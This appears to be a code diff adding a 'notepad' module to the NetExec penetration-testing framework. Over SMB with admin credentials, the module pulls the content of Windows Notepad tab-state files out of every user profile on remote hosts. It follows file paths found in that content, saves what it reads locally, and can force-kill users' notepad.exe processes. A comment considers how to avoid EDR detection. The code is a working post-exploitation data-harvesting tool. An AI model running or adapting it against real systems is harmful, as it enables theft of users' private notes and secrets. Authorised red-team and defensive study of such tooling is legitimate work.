1+ from io import BytesIO
2+ from os import makedirs
3+ from os .path import join , abspath
4+ import re
5+ import time
6+ from nxc .paths import NXC_PATH
7+ from impacket .smbconnection import SessionError
8+
9+ smb_error_status = [
10+ "STATUS_ACCOUNT_DISABLED" ,
11+ "STATUS_ACCOUNT_EXPIRED" ,
12+ "STATUS_ACCOUNT_RESTRICTION" ,
13+ "STATUS_INVALID_LOGON_HOURS" ,
14+ "STATUS_INVALID_WORKSTATION" ,
15+ "STATUS_LOGON_TYPE_NOT_GRANTED" ,
16+ "STATUS_PASSWORD_EXPIRED" ,
17+ "STATUS_PASSWORD_MUST_CHANGE" ,
18+ "STATUS_ACCESS_DENIED" ,
19+ "STATUS_NO_SUCH_FILE" ,
20+ "KDC_ERR_CLIENT_REVOKED" ,
21+ "KDC_ERR_PREAUTH_FAILED" ,
22+ ]
23+
24+
25+ class NXCModule :
26+ # Extracts content from Windows Notepad binary tab state files
27+ # Module by @termanix
28+ name = "notepad"
29+ description = "Extracts content from Windows Notepad tab state binary files."
30+ supported_protocols = ["smb" ]
31+ opsec_safe = True
32+ multiple_hosts = True
33+
34+ def __init__ (self , context = None ):
35+ self .context = context
36+ self .false_positive = ["." , ".." , "desktop.ini" , "Public" , "Default" , "Default User" , "All Users" , ".NET v4.5" , ".NET v4.5 Classic" ]
37+ self .FILE_PATH_REGEX = r"^[A-Za-z]:\\(?:[^<>:\"/\\|?*]+\\)*[^<>:\"/\\|?*]+\.[\w]{1,5}$"
38+
39+ def options (self , context , module_options ):
40+ """KILL // Kill for notepad.exe process. Default False."""
41+ if "KILL" not in module_options :
42+ self .kill = False
43+ else :
44+ self .kill = module_options ["KILL" ]
45+
46+ def extract_strings (self , data , min_length = 4 ):
47+ """Extract printable strings from binary data, similar to the strings command."""
48+ results = []
49+
50+ # ASCII strings extraction
51+ ascii_strings = re .findall (b"[ -~]{%d,}" % min_length , data )
52+ for s in ascii_strings :
53+ try :
54+ results .append (("ASCII" , s .decode ("ascii" )))
55+ except Exception as e :
56+ self .context .log .fail (f"Failed extracting ASCII strings: { e } " )
57+
58+ # UTF-16LE strings extraction (common in Windows)
59+ utf16_pattern = re .compile (b"(?:[\x20 -\x7E ]\x00 ){%d,}" % min_length )
60+ utf16_strings = utf16_pattern .findall (data )
61+ for s in utf16_strings :
62+ try :
63+ decoded = s .decode ("utf-16-le" )
64+ results .append (("UTF-16LE" , decoded ))
65+ except Exception as e :
66+ self .context .log .fail (f"Failed extracting UTF-16LE strings: { e } " )
67+
68+ return results
69+
70+ def is_meaningful_content (self , string ):
71+ """Check if a string has meaningful content."""
72+ # Filter out strings that are just repetitions of the same character
73+ if len (set (string )) <= 2 and len (string ) > 4 :
74+ return False
75+
76+ # Filter out strings that don't have any letters or numbers
77+ if not any (c .isalnum () for c in string ):
78+ return False
79+
80+ # Filter out strings that look like memory addresses or hex dumps
81+ if re .match (r"^[0-9A-F]+$" , string ) and len (string ) >= 8 :
82+ return False
83+
84+ # Filter out strings that are just whitespace or control characters
85+ if string .isspace ():
86+ return False
87+
88+ # Filter out common binary file markers that aren't actual content
89+ common_garbage = ["NULL" , "true" , "false" , "xmlns" , "http://" , "https://" , "COM1" , "COM2" , "COM3" ]
90+ return string not in common_garbage
91+
92+ def read_and_decode_file (self , connection , context , file_path , user ):
93+ buf = BytesIO ()
94+ try :
95+ connection .conn .getFile ("C$" , file_path , buf .write )
96+ except Exception as e :
97+ if "STATUS_SHARING_VIOLATION" in str (e ): # It means notepad.exe is open on target.
98+ if self .kill :
99+ try :
100+ context .log .debug (f"Trying to kill notepad.exe process for { user } user." )
101+ # To Do: Kill process with RPC, connection.execute can be detect by EDRs and module wont work. Or copy the target bin files without trigger the EDRs
102+ connection .execute ("taskkill /IM notepad.exe /F" ) # If notepad.exe open by user, needs to kill that process for reading files.
103+ time .sleep (1 ) # Sleep 1 sec for finding and reading processing
104+ context .log .debug (f"Notepad process was successfully killed for { user } " )
105+ connection .conn .getFile ("C$" , file_path , buf .write )
106+ except Exception as e :
107+ context .log .debug (f"Alternative method failed: { e } " )
108+ else :
109+ context .log .fail ("Notepad.exe is open on target. If want to kill process, add kill option true. (-o KILL=True)" )
110+ return []
111+ else :
112+ # If it's a different error, just skip this file
113+ context .log .debug (f"Error accessing { file_path } : { e } " )
114+
115+ buf .seek (0 )
116+ binary_data = buf .read ()
117+
118+ # Return only the meaningful strings
119+ return [
120+ string for _ , string in self .extract_strings (binary_data )
121+ if self .is_meaningful_content (string )
122+ ]
123+
124+ def on_admin_login (self , context , connection ):
125+ self .context = context
126+ context .log .display ("Searching for Notepad cache..." )
127+ for directory in connection .conn .listPath ("C$" , "Users\\ *" ):
128+ found = 0
129+ if directory .get_longname () in self .false_positive or not directory .is_directory ():
130+ continue
131+
132+ # Path for Windows Notepad tab state files
133+ notepad_dir = f"Users\\ { directory .get_longname ()} \\ AppData\\ Local\\ Packages\\ Microsoft.WindowsNotepad_8wekyb3d8bbwe\\ LocalState\\ TabState\\ "
134+ try :
135+ for file in connection .conn .listPath ("C$" , f"{ notepad_dir } \\ *" ):
136+ if file .get_longname () not in self .false_positive and file .get_longname ().endswith (".bin" ):
137+ file_path = f"{ notepad_dir } { file .get_longname ()} "
138+
139+ # Read the binary file
140+ meaningful_strings = self .read_and_decode_file (connection , context , file_path , directory .get_longname ())
141+
142+ if meaningful_strings :
143+ found += 1
144+ context .log .highlight (f"C:\\ { file_path } " )
145+
146+ # Output content
147+ content_lines = []
148+
149+ # First loop to handle meaningful strings
150+ for string in meaningful_strings :
151+ if bool (re .match (self .FILE_PATH_REGEX , string )): # Only needed if checking locally
152+ # Read the file into a buffer
153+ meaningful_strings = self .read_and_decode_file (connection , context , string [2 :], directory .get_longname ())
154+
155+ # Second loop to handle content inside the file
156+ for string in meaningful_strings :
157+ context .log .highlight (f"\t { string } " )
158+ content_lines .append (string ) # Store the string value only
159+ else :
160+ context .log .highlight (f"\t { string } " )
161+ content_lines .append (string ) # Store the string value only
162+
163+ # Save to file
164+ filename = f"{ connection .host } _{ directory .get_longname ()} _notepad_tabstate_{ found } .txt"
165+ export_path = join (NXC_PATH , "modules" , "notepad" )
166+ path = abspath (join (export_path , filename ))
167+ makedirs (export_path , exist_ok = True )
168+
169+ with open (path , "w+" ) as output_file :
170+ output_file .write (f"Source: C:\\ { file_path } \n \n " )
171+ output_file .write ("\n " .join (content_lines )) # Write strings line by line
172+ context .log .success (f"Notepad tab state content written to: { path } " )
173+ except SessionError as e :
174+ error = self .get_error_string (e )
175+ if error == "STATUS_OBJECT_NAME_NOT_FOUND" or error == "STATUS_OBJECT_PATH_NOT_FOUND" :
176+ context .log .debug (f"Failed for user { directory .get_longname ()} : { e } " )
177+ else :
178+ context .log .fail (
179+ f"Error enumerating shares: { error } " ,
180+ color = "magenta" if error in smb_error_status else "red" ,
181+ )
182+ if found == 0 :
183+ context .log .info ("No Notepad tab state files with meaningful content found" )
184+
185+ def get_error_string (self , exception ):
186+ if hasattr (exception , "getErrorString" ):
187+ try :
188+ es = exception .getErrorString ()
189+ except KeyError :
190+ return f"Could not get nt error code { exception .getErrorCode ()} from impacket: { exception } "
191+ if type (es ) is tuple :
192+ return es [0 ]
193+ else :
194+ return es
195+ else :
196+ return str (exception )
0 commit comments